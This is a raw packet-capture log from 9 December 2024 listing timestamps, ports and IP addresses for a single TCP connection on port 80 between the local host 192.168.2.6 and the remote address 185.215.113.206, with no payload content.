Dec 9, 2024 18:20:41.670377970 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.670386076 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.670391083 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.670398951 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.670409918 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.670414925 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.670428991 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.670430899 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.670440912 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.670447111 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.670454979 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.670464039 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.670466900 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.670485020 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.670492887 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.670514107 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.670536041 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.783483028 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.783659935 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.783701897 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.783960104 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.783986092 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.784001112 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.784138918 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.784184933 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.784307003 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.784352064 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.785100937 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.785146952 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.785314083 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.785356998 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.786052942 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.786101103 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.786261082 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.786305904 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.787056923 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.787101030 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.787225008 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.787273884 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.788069963 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.788120031 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.788202047 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.788247108 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.789028883 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.789072990 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.789156914 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.789196014 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.790124893 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.790178061 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.790215969 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.790261030 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.790990114 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.791035891 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.791109085 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.791147947 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.791924000 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.791980028 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.792099953 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.792144060 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.793009043 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.793055058 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.793138981 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.793183088 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.793922901 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.793981075 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.794018984 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.794066906 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.794871092 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.794920921 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.795033932 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.795077085 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.795826912 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.795871973 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.795994997 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.796032906 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.796803951 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.796860933 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.796927929 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.796971083 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.797857046 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.797907114 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.797955036 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.797997952 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.798768044 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.798811913 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.798877954 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.798912048 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.799773932 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.799822092 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.799868107 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.799907923 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.800720930 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.800774097 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.800843000 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.800883055 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.801692963 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.801742077 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.801855087 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.801901102 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.802659035 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.802726984 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.802848101 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.802894115 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.803674936 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.803735971 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.803889036 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.803932905 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.805011988 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.805062056 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.805202007 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.805249929 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.806195974 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.806245089 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.806551933 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.806601048 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.807235956 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.807279110 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.807337999 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.807391882 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.808011055 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.808059931 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.808125973 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.808172941 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.808906078 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.808957100 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.809026957 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.809072971 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.809958935 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.810008049 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.810049057 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.810091972 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.810795069 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.810841084 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.810934067 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.810973883 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.811579943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.811625957 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.811741114 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.811784029 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.812406063 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.812450886 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.812561989 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.812608957 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.813410044 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.813478947 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.813641071 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.813687086 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.814369917 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.814419985 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.814517021 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.814562082 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.815340996 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.815387964 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.815473080 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.815526009 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.816344976 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.816391945 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.816485882 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.816529989 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.817410946 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.817460060 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.817502022 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.817543983 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.818268061 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.818312883 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.818397999 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.818443060 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.819235086 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.819281101 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.819366932 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.819413900 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.820219040 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.820266008 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.820346117 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.820390940 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.821218014 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.821263075 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.821377993 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.821422100 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.822180033 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.822231054 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.822302103 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.822349072 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.823216915 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.823282957 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.823334932 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.823378086 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.824110985 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.824157000 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.824291945 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.824337006 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.825160980 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.825206041 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.825263977 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.825304031 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.826071024 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.826117992 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.826212883 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.826258898 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.827249050 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.827299118 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.827347040 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.827399015 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.828109026 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.828155994 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.828236103 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.828282118 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.829004049 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.829052925 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.829135895 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.829181910 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.830101013 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.830153942 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.830259085 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.830302000 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.830944061 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.830988884 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.831075907 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.831120014 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.831904888 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.831945896 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.832061052 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.832107067 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.832973003 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.833019018 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.833062887 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.833111048 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.861885071 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.862029076 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.862076044 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.862124920 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.862204075 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.862251043 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.908103943 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.908190966 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.908252954 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.908298016 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.908838034 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.908881903 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.909100056 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.909151077 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.909214020 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.909257889 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.910057068 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.910105944 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.976933002 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.976993084 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.977009058 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.977046013 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.977153063 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.977191925 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.977401972 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.977442026 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.978307962 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.978351116 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.978394032 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.978435040 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.979113102 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.979157925 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.979285002 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.979336977 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.979763031 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.979804993 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.979914904 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.979955912 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.980585098 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.980624914 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.980789900 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.980828047 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.981594086 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.981632948 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.981707096 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.981744051 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.982606888 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.982645988 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.982765913 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.982811928 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.983531952 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.983592987 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.983762980 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.983800888 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.984498024 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.984544992 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.984684944 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.984731913 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.985457897 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.985502005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.985646009 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.985686064 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.986572981 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.986613035 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.986764908 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.986803055 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.987240076 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.987278938 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.987473011 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.987509966 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.987973928 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.988013029 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.988089085 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.988127947 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.988940954 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.988986015 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.989043951 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.989130020 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.989892006 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.989942074 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.989995956 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.990035057 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.990870953 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.990912914 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.991028070 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.991079092 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.991873026 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.991925955 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.991982937 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.992027044 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.992780924 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.992830992 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.992958069 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.993000984 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.993753910 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.993818998 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.993894100 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.993937969 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.994847059 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.994888067 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.994972944 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.995012045 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:41.995706081 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:41.995747089 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.033346891 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.033413887 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.033476114 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.033606052 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.033727884 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.033773899 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.033999920 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:42.034044027 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:42.034507036 CET	80	49788	185.215.113.206	192.168.2.6
